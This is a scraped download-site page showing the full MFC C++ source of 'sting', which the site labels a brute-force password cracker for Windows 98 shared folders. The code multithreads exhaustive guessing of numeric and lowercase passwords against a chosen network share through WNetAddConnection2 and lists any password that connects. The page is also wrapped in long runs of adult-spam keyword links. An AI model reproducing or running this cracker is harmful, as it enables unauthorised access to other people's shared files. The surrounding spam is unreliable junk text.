亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? stingdlg.cpp

?? Windows98平臺的共享目錄口令暴力破解程序
?? CPP
字號:
// stingDlg.cpp : implementation file
//

#include "stdafx.h"
#include "sting.h"
#include "stingDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

extern BOOL g_bContinue;
/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About
UINT StingThread(LPVOID pParam);
UINT StingThreadContinue(LPVOID pParam);
UINT StingIn(int index,int deept,int deep, int mode, char *password, void *pParam);
UINT StingConnect(int index,int deept,char *password,void *pParam);
class CAboutDlg : public CDialog
{
public:
	CAboutDlg();

// Dialog Data
	//{{AFX_DATA(CAboutDlg)
	enum { IDD = IDD_ABOUTBOX };
	//}}AFX_DATA

	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CAboutDlg)
	protected:
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
	//}}AFX_VIRTUAL

// Implementation
protected:
	//{{AFX_MSG(CAboutDlg)
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
	//{{AFX_DATA_INIT(CAboutDlg)
	//}}AFX_DATA_INIT
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CAboutDlg)
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
	//{{AFX_MSG_MAP(CAboutDlg)
		// No message handlers
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CStingDlg dialog

CStingDlg::CStingDlg(CWnd* pParent /*=NULL*/)
	: CDialog(CStingDlg::IDD, pParent)
{
	//{{AFX_DATA_INIT(CStingDlg)
	m_netName = _T("");
	m_nLen = 0;
	m_nMode = -1;
	m_bProgress = FALSE;
	m_strPot = _T("");
	m_tNum = 0;
	//}}AFX_DATA_INIT
	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CStingDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CStingDlg)
	DDX_Text(pDX, IDC_EDIT_NETNAME, m_netName);
	DDX_Text(pDX, IDC_EDIT_LENGTH, m_nLen);
	DDV_MinMaxUInt(pDX, m_nLen, 1, 10);
	DDX_Radio(pDX, IDC_RADIO1, m_nMode);
	DDX_Check(pDX, IDC_CHECK_PROGRESS, m_bProgress);
	DDX_Text(pDX, IDC_EDIT_POT, m_strPot);
	DDV_MaxChars(pDX, m_strPot, 10);
	DDX_Text(pDX, IDC_EDIT_T_NUMBER, m_tNum);
	DDV_MinMaxInt(pDX, m_tNum, 1, 50);
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CStingDlg, CDialog)
	//{{AFX_MSG_MAP(CStingDlg)
	ON_WM_SYSCOMMAND()
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	ON_BN_CLICKED(ID_B_START, OnBStart)
	ON_BN_CLICKED(ID_B_STOP, OnBStop)
	ON_WM_CLOSE()
	ON_BN_CLICKED(ID_B_CONTINUE, OnBContinue)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CStingDlg message handlers

BOOL CStingDlg::OnInitDialog()
{
	CDialog::OnInitDialog();

	// Add "About..." menu item to system menu.

	// IDM_ABOUTBOX must be in the system command range.
	ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
	ASSERT(IDM_ABOUTBOX < 0xF000);

	CMenu* pSysMenu = GetSystemMenu(FALSE);
	if (pSysMenu != NULL)
	{
		CString strAboutMenu;
		strAboutMenu.LoadString(IDS_ABOUTBOX);
		if (!strAboutMenu.IsEmpty())
		{
			pSysMenu->AppendMenu(MF_SEPARATOR);
			pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
		}
	}

	// Set the icon for this dialog.  The framework does this automatically
	//  when the application's main window is not a dialog
	SetIcon(m_hIcon, TRUE);			// Set big icon
	SetIcon(m_hIcon, FALSE);		// Set small icon
	
	// TODO: Add extra initialization here
	m_nMode=0;
	m_nLen=3;
	m_tNum=25;
	index=0;
	Suc=0;
	m_bProgress = TRUE;
	Sem=CreateSemaphore(NULL,1,1,"SEM");
	Sem1=CreateSemaphore(NULL,1,1,"SEM1");
	RECT rect;
	rect.top=0;
	rect.left=0;
	rect.bottom=200;
	rect.right=300;
	m_list.Create(WS_POPUPWINDOW|WS_CAPTION,rect,this,888);
	m_list.SetWindowText("結果");
	UpdateData(FALSE);
	return TRUE;  // return TRUE  unless you set the focus to a control
}

void CStingDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
	if ((nID & 0xFFF0) == IDM_ABOUTBOX)
	{
		CAboutDlg dlgAbout;
		dlgAbout.DoModal();
	}
	else
	{
		CDialog::OnSysCommand(nID, lParam);
	}
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CStingDlg::OnPaint() 
{
	if (IsIconic())
	{
		CPaintDC dc(this); // device context for painting

		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

		// Center icon in client rectangle
		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;

		// Draw the icon
		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialog::OnPaint();
	}
}

// The system calls this to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CStingDlg::OnQueryDragIcon()
{
	return (HCURSOR) m_hIcon;
}

void CStingDlg::OnBStop() 
{
	if (index>0)
	{
		g_bContinue=FALSE;
	}
}

void CStingDlg::OnClose() 
{
	g_bContinue=0;
	while (index>0)
	{
	}
	CDialog::OnClose();
}

UINT StingIn(int index,int deept,int deep, int mode,char *password, void *pParam)
{
	UINT res; 
	UINT j;
	CStingDlg *pDlg=(CStingDlg *)pParam;
	
	if (mode==0)
	{
		if (pDlg->init[deept-deep]<'0')
			pDlg->init[deept-deep]='0';
		for (j=pDlg->init[deept-deep];j<='9';j++)
		{
			password[deept-deep]=j;
			if (deep!=1) 
			{
				res=StingIn(index,deept,deep-1,mode,password,pParam);
			}
			else
			{
				res = StingConnect(index,deept,password,pParam);		
			}
			if (res==1) return 1;
		}
		pDlg->init[deept-deep]='0';
	}
	else if (mode==1)
	{
		if (pDlg->init[deept-deep]<'a')
			pDlg->init[deept-deep]='a';
		for (j=pDlg->init[deept-deep];j<='z';j++)
		{
			password[deept-deep]=j;
			if (deep!=1) 
			{
				//p
				res=StingIn(index,deept,deep-1,mode,password,pParam);
			}
			else
			{
				res = StingConnect(index,deept,password,pParam);		
			}
			if (res==1) return 1;
		}
		pDlg->init[deept-deep]='a';
	}
	else if (mode==2)
	{
		if (pDlg->init[deept-deep]<'0')
			pDlg->init[deept-deep]='0';
		for (j=pDlg->init[deept-deep];j<='9';j++)
		{
			password[deept-deep]=j;
			if (deep!=1) 
			{
				res=StingIn(index,deept,deep-1,mode,password,pParam);
			}
			else
			{
				res = StingConnect(index,deept,password,pParam);		
			}
			if (res==1) return 1;
		}
		if (pDlg->init[deept-deep]<'a')
			pDlg->init[deept-deep]='a';
		for (j=pDlg->init[deept-deep];j<='z';j++)
		{
			password[deept-deep]=j;
			if (deep!=1) 
			{
				res=StingIn(index,deept,deep-1,mode,password,pParam);
			}
			else
			{
				res = StingConnect(index,deept,password,pParam);		
			}
			if (res==1) return 1;
		}
		pDlg->init[deept-deep]='0';
	}
	else
	{
		pDlg->SetDlgItemText(ID_S_STATE,"異常模式錯誤!");
		return 1;
	}
	return 0;
}

UINT StingConnect(int index,int deept,char *password,void *pParam)
{
	NETRESOURCE nr;
	DWORD res=88;
	LONG temp;
	
	CStingDlg *pDlg=(CStingDlg *)pParam;
	nr.dwType = RESOURCETYPE_ANY;
	nr.lpLocalName = NULL;
	nr.lpRemoteName =(LPTSTR)(LPCSTR)(pDlg->m_netName);
	nr.lpProvider = NULL;
	
	if (g_bContinue)
	{
		if (((UINT)deept)<pDlg->m_deep) return 0;
		WaitForSingleObject(pDlg->Sem,INFINITE);
		if (((UINT)deept)>strlen(pDlg->current))
		{
			strcpy(pDlg->current,password);
			res=1;
		}
		else
		{
			for (int j=0;j<deept;j++)
			{
				if (password[j]>pDlg->current[j])
				{	
					strcpy(pDlg->current,password);
					res=1;
					break;
				}
				else if (password[j]<pDlg->current[j])
					break;
			}
		}
		if (res==1)
			pDlg->SetDlgItemText(IDC_EDIT_POT,password);
		ReleaseSemaphore(pDlg->Sem,1,&temp);
		if (res==1)
		{
			res = WNetAddConnection2(&nr, (LPTSTR) password, 
					(LPTSTR)"", FALSE);
		}
		else
			return 0;
	}
	else 
	{
		if  (index==1)
		{
			pDlg->GetDlgItem(ID_B_START)->EnableWindow(TRUE);
			pDlg->GetDlgItem(ID_B_CONTINUE)->EnableWindow(TRUE);
			pDlg->SetDlgItemText(ID_S_STATE,"任務取消!");
		}
		return 1;//abort recur
	}
	if(res == NO_ERROR)
	{//sucess
		g_bContinue=0;
		pDlg->GetDlgItem(ID_B_START)->EnableWindow(TRUE);
		pDlg->GetDlgItem(ID_B_CONTINUE)->EnableWindow(TRUE);
		LONG temp;
		WaitForSingleObject(pDlg->Sem1,INFINITE);
		pDlg->m_list.AddString(password);
		ReleaseSemaphore(pDlg->Sem1,1,&temp);
		pDlg->Suc=1;
		WNetCancelConnection2((LPTSTR)(LPCSTR)(pDlg->m_netName),
			CONNECT_UPDATE_PROFILE,TRUE);
		return 1;//abort recur
	}
	return 0;
}

UINT StingThreadContinue(LPVOID pParam)
{
	UINT res;
	char szPassword[20];

	CStingDlg *pDlg=(CStingDlg *)pParam;
	pDlg->index++;
	pDlg->SetDlgItemText(ID_S_STATE,"運行中...");
	
	ZeroMemory(szPassword,sizeof(szPassword));
	
	if (!pDlg->m_bProgress)
	{
		int temp=pDlg->m_strPot.GetLength();
		if (temp<1) temp=1;
		if (temp>10) return 1;
		pDlg->m_deep=temp;
		res = StingIn(pDlg->index,temp,temp,pDlg->m_nMode,szPassword,pDlg);
	}
	else
	{             
		for (UINT i=pDlg->m_strPot.GetLength();i<=pDlg->m_nLen;i++)
		{
			if (i>=pDlg->m_deep)
				pDlg->m_deep=i;
			else
				continue;
			res = StingIn(pDlg->index,i,i,pDlg->m_nMode,szPassword,pDlg);
			if (res) break;
		}
	}
	pDlg->index--;
	if (pDlg->index==0)
	{
		pDlg->GetDlgItem(ID_B_START)->EnableWindow(TRUE);
		pDlg->GetDlgItem(ID_B_CONTINUE)->EnableWindow(TRUE);
		if (pDlg->Suc==0)
		{
			pDlg->SetDlgItemText(ID_S_STATE,"失敗");
			pDlg->SetDlgItemText(IDC_EDIT_POT,pDlg->current);
		}
		else
		{
			pDlg->SetDlgItemText(ID_S_STATE,"成功");
			pDlg->m_list.ShowWindow(SW_SHOW);
		}
		ShowWindow(pDlg->GetSafeHwnd(),SW_RESTORE);
		SetForegroundWindow(pDlg->GetSafeHwnd());
		pDlg->m_list.SendMessage(WM_NCACTIVATE,1,0);
	}
	return 0;

}

void CStingDlg::OnBContinue() 
{
	if (index>0) return;
	Suc=0;
	UpdateData(TRUE);
	if (m_nLen>10||m_nLen<1) return;
	if (m_tNum>50||m_tNum<1) return;
	GetDlgItem(ID_B_START)->EnableWindow(FALSE);
	GetDlgItem(ID_B_CONTINUE)->EnableWindow(FALSE);
	
	g_bContinue=TRUE;
	ZeroMemory(init,sizeof(init));
	if (m_strPot=="")
		m_strPot='0';
	strcpy(init,(LPCSTR)m_strPot);
	ZeroMemory(current,sizeof(current));
	SetWindowText(m_netName);
	m_list.ShowWindow(SW_HIDE);
	m_list.ResetContent();
	m_deep=1;
	for (int i=0;i<m_tNum;i++)
		AfxBeginThread(StingThreadContinue,this,THREAD_PRIORITY_LOWEST);	
}

UINT StingThread(LPVOID pParam)
{
	UINT res;
	char szPassword[20];

	CStingDlg *pDlg=(CStingDlg *)pParam;
	pDlg->index++;
	pDlg->SetDlgItemText(ID_S_STATE,"運行中...");
	
	ZeroMemory(szPassword,sizeof(szPassword));
	
	if (!pDlg->m_bProgress)
	{
		pDlg->m_deep=pDlg->m_nLen;
		res = StingIn(pDlg->index,pDlg->m_nLen,pDlg->m_nLen,pDlg->m_nMode,szPassword,pDlg);
	}
	else
	{
		for (UINT i=1;i<=pDlg->m_nLen;i++)
		{
			if (i>=pDlg->m_deep)
				pDlg->m_deep=i;
			else
				continue;
			res = StingIn(pDlg->index,i,i,pDlg->m_nMode,szPassword,pDlg);
			if (res) break;
		}
	}
	pDlg->index--;
	if (pDlg->index==0)
	{
		pDlg->GetDlgItem(ID_B_START)->EnableWindow(TRUE);
		pDlg->GetDlgItem(ID_B_CONTINUE)->EnableWindow(TRUE);
		if (pDlg->Suc==0)
		{
			pDlg->SetDlgItemText(ID_S_STATE,"失敗");
			pDlg->SetDlgItemText(IDC_EDIT_POT,pDlg->current);
		}
		else
		{
			pDlg->SetDlgItemText(ID_S_STATE,"成功");
			pDlg->m_list.ShowWindow(SW_SHOW);
		}
		ShowWindow(pDlg->GetSafeHwnd(),SW_RESTORE);
		SetForegroundWindow(pDlg->GetSafeHwnd());
		pDlg->m_list.SendMessage(WM_NCACTIVATE,1,0);
	}
	return 0;

}

void CStingDlg::OnBStart() 
{
	if (index>0) return;
	Suc=0;
	UpdateData(TRUE);
	if (m_nLen>10||m_nLen<1) return;
	if (m_tNum>50||m_tNum<1) return;
	GetDlgItem(ID_B_START)->EnableWindow(FALSE);
	GetDlgItem(ID_B_CONTINUE)->EnableWindow(FALSE);
	SetDlgItemText(IDC_EDIT_POT,"");
	g_bContinue=TRUE;
	ZeroMemory(init,sizeof(init));
	ZeroMemory(current,sizeof(current));
	SetWindowText(m_netName);
	m_list.ShowWindow(SW_HIDE);
	m_list.ResetContent();
	m_deep=1;
	for (int i=0;i<m_tNum;i++)
		AfxBeginThread(StingThread,this,THREAD_PRIORITY_LOWEST);
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产亚洲欧美激情| 看片的网站亚洲| 日韩电影一区二区三区| 大白屁股一区二区视频| 欧美精品久久久久久久久老牛影院| 日韩精品一区二| 一区二区三区精品视频| 国产精品性做久久久久久| 欧美精品aⅴ在线视频| 亚洲欧洲日韩av| 国产精品综合在线视频| 欧美肥妇毛茸茸| 亚洲一区二区三区四区的| 99久久99久久久精品齐齐| 久久综合色婷婷| 免费在线一区观看| 欧美日韩中文字幕精品| 自拍视频在线观看一区二区| 国产乱码精品1区2区3区| 欧美久久久一区| 一区二区三区日韩| 色偷偷成人一区二区三区91 | www.欧美色图| 精品日韩欧美在线| 免费成人深夜小野草| 欧美精品一级二级| 视频一区欧美精品| 在线不卡一区二区| 午夜精品国产更新| 欧美精品一二三区| 亚洲一区日韩精品中文字幕| 成人v精品蜜桃久久一区| 国产日产欧美一区二区三区| 国产精品亚洲一区二区三区妖精| 久久只精品国产| 国产精品99久久久| 国产精品女主播av| 91麻豆免费观看| 亚洲精品免费看| 欧美视频精品在线| 日韩av电影免费观看高清完整版在线观看 | 一区二区三区美女| 欧美在线|欧美| 日韩av一区二区三区| 91麻豆精品国产91久久久使用方法 | 91视频免费观看| 亚洲免费在线观看| 色悠久久久久综合欧美99| 日韩伦理av电影| 在线视频中文字幕一区二区| 亚洲国产成人精品视频| 欧美日韩国产a| 麻豆精品在线播放| 欧美经典三级视频一区二区三区| 处破女av一区二区| 夜夜嗨av一区二区三区四季av | 91精品在线观看入口| 爽好久久久欧美精品| 日韩免费在线观看| 成人app网站| 亚洲自拍偷拍av| 欧美www视频| 91丨porny丨蝌蚪视频| 亚洲成av人片在www色猫咪| 日韩亚洲电影在线| 成人激情动漫在线观看| 天堂一区二区在线| 久久伊99综合婷婷久久伊| 99精品桃花视频在线观看| 图片区小说区区亚洲影院| 国产欧美一区二区精品性| 在线观看av一区二区| 国产高清久久久久| 亚洲h精品动漫在线观看| 国产亚洲一区二区三区在线观看| 日本韩国欧美一区二区三区| 久久99国产精品麻豆| 一个色妞综合视频在线观看| 精品国产露脸精彩对白| 色999日韩国产欧美一区二区| 久久99精品久久久久| 亚洲欧美另类在线| 国产亚洲欧美日韩在线一区| 欧美麻豆精品久久久久久| 成人av片在线观看| 麻豆免费精品视频| 亚洲二区在线观看| 亚洲天堂2016| 欧美国产日韩精品免费观看| 欧美日高清视频| 99re成人在线| 高清在线不卡av| 九九视频精品免费| 五月天视频一区| 亚洲精品美国一| 中文字幕乱码一区二区免费| www久久久久| 91精品国产福利| 51精品视频一区二区三区| 欧美在线短视频| 色哟哟日韩精品| 成人黄动漫网站免费app| 国产乱码精品一品二品| 精品一区二区成人精品| 久久精工是国产品牌吗| 日本在线不卡视频| 图片区日韩欧美亚洲| 婷婷国产v国产偷v亚洲高清| 亚洲一区二区三区四区在线免费观看 | 日韩免费视频一区二区| 在线播放91灌醉迷j高跟美女 | 国产99久久久国产精品潘金| 久久9热精品视频| 麻豆精品一区二区av白丝在线| 丝袜美腿成人在线| 青青草国产成人av片免费| 午夜精品影院在线观看| 午夜欧美在线一二页| 日本视频在线一区| 日本视频免费一区| 精品一区二区三区在线播放 | 婷婷综合在线观看| 香蕉成人伊视频在线观看| 午夜伊人狠狠久久| 奇米亚洲午夜久久精品| 奇米888四色在线精品| 美女在线观看视频一区二区| 国内精品嫩模私拍在线| 国产成人av电影在线播放| 成人久久久精品乱码一区二区三区 | 欧美日韩一区二区三区四区 | 香蕉成人啪国产精品视频综合网| 天天色 色综合| 青青草成人在线观看| 国产精品一二三四五| 91亚洲精品久久久蜜桃网站 | 一区二区三区国产精华| 亚洲国产视频在线| 麻豆一区二区在线| 成人av资源在线观看| 欧美亚洲一区三区| 精品伦理精品一区| 国产精品三级电影| 亚洲高清免费视频| 国产米奇在线777精品观看| av亚洲精华国产精华精华| 欧美色图第一页| 久久综合一区二区| 亚洲小说春色综合另类电影| 久久精品国产77777蜜臀| 97精品国产露脸对白| 欧美精品欧美精品系列| 欧美激情一区二区| 日韩影院在线观看| 成人午夜激情影院| 这里是久久伊人| 国产精品情趣视频| 日韩国产精品91| 91网站最新地址| 精品三级在线观看| 夜夜精品视频一区二区| 国产高清不卡二三区| 制服丝袜亚洲色图| 中文字幕一区二区三| 麻豆国产精品777777在线| 91国偷自产一区二区三区观看| 精品久久人人做人人爰| 亚洲午夜久久久久久久久电影网 | 亚洲综合色噜噜狠狠| 国产高清久久久久| 日韩写真欧美这视频| 亚洲国产美女搞黄色| 国产aⅴ综合色| 日韩精品一区二区三区视频| 亚洲精品va在线观看| 成人动漫视频在线| 欧美大片拔萝卜| 偷拍亚洲欧洲综合| 欧美亚洲一区二区在线| 欧美韩国日本一区| 国产真实乱对白精彩久久| 制服丝袜中文字幕一区| 一区二区激情小说| 91尤物视频在线观看| 国产欧美一区二区三区鸳鸯浴| 久久国产精品第一页| 欧美一区二区二区| 日本视频一区二区三区| 欧美男生操女生| 亚洲国产精品影院| 在线观看免费视频综合| 一区二区三区资源| 色婷婷亚洲精品| 亚洲精品国产a| 91麻豆6部合集magnet| 亚洲欧美日本韩国| 色婷婷av一区二区三区大白胸| 国产精品电影一区二区| 91在线看国产| 亚洲在线观看免费视频|